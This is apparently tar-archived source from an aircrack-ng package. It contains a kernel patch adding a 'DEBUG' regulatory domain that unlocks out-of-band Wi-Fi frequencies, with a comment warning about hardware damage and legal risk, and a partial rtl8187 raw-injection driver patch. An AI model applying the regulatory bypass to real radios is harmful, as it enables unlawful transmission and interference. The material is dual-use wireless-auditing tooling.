linux-2.6.27-gentoo-r2/net/wireless/reg.c linux-2.6.27-gentoo-r2-afc/net/wireless/reg.c --- linux-2.6.27-gentoo-r2/net/wireless/reg.c 2008-10-09 18:13:53.000000000 -0400 +++ linux-2.6.27-gentoo-r2-afc/net/wireless/reg.c 2008-11-12 23:23:53.000000000 -0500 @@ -70,6 +70,22 @@ RANGE_PWR(5745, 5825, 30, 6, 0), }; +static const struct ieee80211_channel_range ieee80211_DEBUG_channels[] = { +/* + * WARNING: These values are strictly based on my own limited testing. + * This does not seem to damage MY cards in the limited time I was testing. + * Monitor mode tuning of these channels *should* be 100% safe, however, + * ANY transmissions may not only permanently damage your card, it may also + * bring the feds down on you. + * + */ + /* IEEE 802.11b/g, channels -42..26 */ + RANGE_PWR(2192, 2732, 1, 6, 0), + /* IEEE 802.11a, channels -40..240, outdoor */ + RANGE_PWR(4800, 6000, 1, 6, 0), +}; + + static const struct ieee80211_channel_range ieee80211_JP_channels[] = { /* IEEE 802.11b/g, channels 1..14 */ RANGE_PWR(2412, 2484, 20, 6, 0), @@ -108,6 +124,7 @@ REGDOM(US), REGDOM(JP), REGDOM(EU), + REGDOM(DEBUG), }; aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.24v3.patch0000644000000000000000000155166111050354367020713 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-02-15 00:49:20.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 